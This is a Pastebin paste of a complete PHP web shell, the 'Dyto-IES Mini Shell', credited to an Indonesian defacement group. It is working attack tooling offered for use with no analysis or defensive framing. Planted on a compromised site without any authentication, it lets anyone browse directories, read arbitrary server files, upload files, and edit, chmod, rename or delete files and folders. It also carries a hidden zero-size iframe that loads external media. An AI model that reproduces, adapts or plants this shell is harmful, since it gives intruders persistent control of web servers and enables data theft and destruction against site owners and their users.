Dyto

Dyto-IES Mini Shell V.1

Jan 8th, 2020
173
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>Dyto-IES Mini Shell</title>
  15. <style>
  16. body{
  17. font-family: "Times new roman", cursive;
  18. background-color: black;
  19. color:white;
  20. }
  21. #content tr:hover{
  22. background-color: red;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: red;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color:white;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:blue;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47. <body>
  48. <a href="https://ibb.co/F5n4pWj"><img src="https://i.ibb.co/9bGHPvC/IMG-20200103-142233-874.jpg" alt="IMG-20200103-142233-874" border="0"></a>
  49. <iframe width="0" height="0" src="https://c.top4top.io/m_1467efn6q1.mp4" frameborder="0" allowfullscreen></iframe>
  50. <h1><center><font color="white">Dyto-IES Mini Shell</font></center></h1>
  51. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  52. <tr><td><font color="white">Path :</font> ';
  53. if(isset($_GET['path'])){
  54. $path = $_GET['path'];
  55. }else{
  56. $path = getcwd();
  57. }
  58. $path = str_replace('\\','/',$path);
  59. $paths = explode('/',$path);
  60.  
  61. foreach($paths as $id=>$pat){
  62. if($pat == '' && $id == 0){
  63. $a = true;
  64. echo '<a href="?path=/">/</a>';
  65. continue;
  66. }
  67. if($pat == '') continue;
  68. echo '<a href="?path=';
  69. for($i=0;$i<=$id;$i++){
  70. echo "$paths[$i]";
  71. if($i != $id) echo "/";
  72. }
  73. echo '">'.$pat.'</a>/';
  74. }
  75. echo '</td></tr><tr><td>';
  76. if(isset($_FILES['file'])){
  77. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  78. echo '<font color="green">Upload Berhasil</font><br />';
  79. }else{
  80. echo '<font color="red">Upload Gagal</font><br/>';
  81. }
  82. }
  83. echo '<form enctype="multipart/form-data" method="POST">
  84. <font color="white">File Upload :</font> <input type="file" name="file" />
  85. <input type="submit" value="upload" />
  86. </form>
  87. </td></tr>';
  88. if(isset($_GET['filesrc'])){
  89. echo "<tr><td>Current File : ";
  90. echo $_GET['filesrc'];
  91. echo '</tr></td></table><br />';
  92. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  93. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  94. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  95. if($_POST['opt'] == 'chmod'){
  96. if(isset($_POST['perm'])){
  97. if(chmod($_POST['path'],$_POST['perm'])){
  98. echo '<font color="green">Change Permission Berhasil</font><br/>';
  99. }else{
  100. echo '<font color="red">Change Permission Gagal</font><br />';
  101. }
  102. }
  103. echo '<form method="POST">
  104. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  105. <input type="hidden" name="path" value="'.$_POST['path'].'">
  106. <input type="hidden" name="opt" value="chmod">
  107. <input type="submit" value="Go" />
  108. </form>';
  109. }elseif($_POST['opt'] == 'rename'){
  110. if(isset($_POST['newname'])){
  111. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  112. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  113. }else{
  114. echo '<font color="red">Ganti Nama Gagal</font><br />';
  115. }
  116. $_POST['name'] = $_POST['newname'];
  117. }
  118. echo '<form method="POST">
  119. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  120. <input type="hidden" name="path" value="'.$_POST['path'].'">
  121. <input type="hidden" name="opt" value="rename">
  122. <input type="submit" value="Go" />
  123. </form>';
  124. }elseif($_POST['opt'] == 'edit'){
  125. if(isset($_POST['src'])){
  126. $fp = fopen($_POST['path'],'w');
  127. if(fwrite($fp,$_POST['src'])){
  128. echo '<font color="green">Berhasil Edit File</font><br/>';
  129. }else{
  130. echo '<font color="red">Gagal Edit File</font><br/>';
  131. }
  132. fclose($fp);
  133. }
  134. echo '<form method="POST">
  135. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  136. <input type="hidden" name="path" value="'.$_POST['path'].'">
  137. <input type="hidden" name="opt" value="edit">
  138. <input type="submit" value="Save" />
  139. </form>';
  140. }
  141. echo '</center>';
  142. }else{
  143. echo '</table><br/><center>';
  144. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  145. if($_POST['type'] == 'dir'){
  146. if(rmdir($_POST['path'])){
  147. echo '<font color="green">Directory Terhapus</font><br/>';
  148. }else{
  149. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  150. }
  151. }elseif($_POST['type'] == 'file'){
  152. if(unlink($_POST['path'])){
  153. echo '<font color="green">File Terhapus</font><br/>';
  154. }else{
  155. echo '<font color="red">File Gagal Dihapus</font><br/>';
  156. }
  157. }
  158. }
  159. echo '</center>';
  160. $scandir = scandir($path);
  161. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  162. <tr class="first">
  163. <td><center>Name</peller></center></td>
  164. <td><center>Size</peller></center></td>
  165. <td><center>Permission</peller></center></td>
  166. <td><center>Modify</peller></center></td>
  167. </tr>';
  168.  
  169. foreach($scandir as $dir){
  170. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  171. echo '<tr>
  172. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  173. <td><center>--</center></td>
  174. <td><center>';
  175. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  176. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  177. echo perms($path.'/'.$dir);
  178. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  179.  
  180. echo '</center></td>
  181. <td><center><form method="POST" action="?option&path='.$path.'">
  182. <select name="opt">
  183. <option value="">Select</option>
  184. <option value="delete">Delete</option>
  185. <option value="chmod">Chmod</option>
  186. <option value="rename">Rename</option>
  187. </select>
  188. <input type="hidden" name="type" value="dir">
  189. <input type="hidden" name="name" value="'.$dir.'">
  190. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  191. <input type="submit" value=">">
  192. </form></center></td>
  193. </tr>';
  194. }
  195. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  196. foreach($scandir as $file){
  197. if(!is_file($path.'/'.$file)) continue;
  198. $size = filesize($path.'/'.$file)/1024;
  199. $size = round($size,3);
  200. if($size >= 1024){
  201. $size = round($size/1024,2).' MB';
  202. }else{
  203. $size = $size.' KB';
  204. }
  205.  
  206. echo '<tr>
  207. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  208. <td><center>'.$size.'</center></td>
  209. <td><center>';
  210. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  211. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  212. echo perms($path.'/'.$file);
  213. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  214. echo '</center></td>
  215. <td><center><form method="POST" action="?option&path='.$path.'">
  216. <select name="opt">
  217. <option value="">Select</option>
  218. <option value="delete">Delete</option>
  219. <option value="chmod">Chmod</option>
  220. <option value="rename">Rename</option>
  221. <option value="edit">Edit</option>
  222. </select>
  223. <input type="hidden" name="type" value="file">
  224. <input type="hidden" name="name" value="'.$file.'">
  225. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  226. <input type="submit" value=">">
  227. </form></center></td>
  228. </tr>';
  229. }
  230. echo '</table>
  231. </div>';
  232. }
  233. echo '<center><br/>Copyright Dyto-IES @ 2020- INDONESIAN ERROR SYSTEM</center>
  234. </body>
  235. </html>';
  236. function perms($file){
  237. $perms = fileperms($file);
  238.  
  239. if (($perms & 0xC000) == 0xC000) {
  240. // Socket
  241. $info = 's';
  242. } elseif (($perms & 0xA000) == 0xA000) {
  243. // Symbolic Link
  244. $info = 'l';
  245. } elseif (($perms & 0x8000) == 0x8000) {
  246. // Regular
  247. $info = '-';
  248. } elseif (($perms & 0x6000) == 0x6000) {
  249. // Block special
  250. $info = 'b';
  251. } elseif (($perms & 0x4000) == 0x4000) {
  252. // Directory
  253. $info = 'd';
  254. } elseif (($perms & 0x2000) == 0x2000) {
  255. // Character special
  256. $info = 'c';
  257. } elseif (($perms & 0x1000) == 0x1000) {
  258. // FIFO pipe
  259. $info = 'p';
  260. } else {
  261. // Unknown
  262. $info = 'u';
  263. }
  264.  
  265. // Owner
  266. $info .= (($perms & 0x0100) ? 'r' : '-');
  267. $info .= (($perms & 0x0080) ? 'w' : '-');
  268. $info .= (($perms & 0x0040) ?
  269. (($perms & 0x0800) ? 's' : 'x' ) :
  270. (($perms & 0x0800) ? 'S' : '-'));
  271.  
  272. // Group
  273. $info .= (($perms & 0x0020) ? 'r' : '-');
  274. $info .= (($perms & 0x0010) ? 'w' : '-');
  275. $info .= (($perms & 0x0008) ?
  276. (($perms & 0x0400) ? 's' : 'x' ) :
  277. (($perms & 0x0400) ? 'S' : '-'));
  278.  
  279. // World
  280. $info .= (($perms & 0x0004) ? 'r' : '-');
  281. $info .= (($perms & 0x0002) ? 'w' : '-');
  282. $info .= (($perms & 0x0001) ?
  283. (($perms & 0x0200) ? 't' : 'x' ) :
  284. (($perms & 0x0200) ? 'T' : '-'));
  285.  
  286. return $info;
  287. }
  288. ?>
RAW Paste Data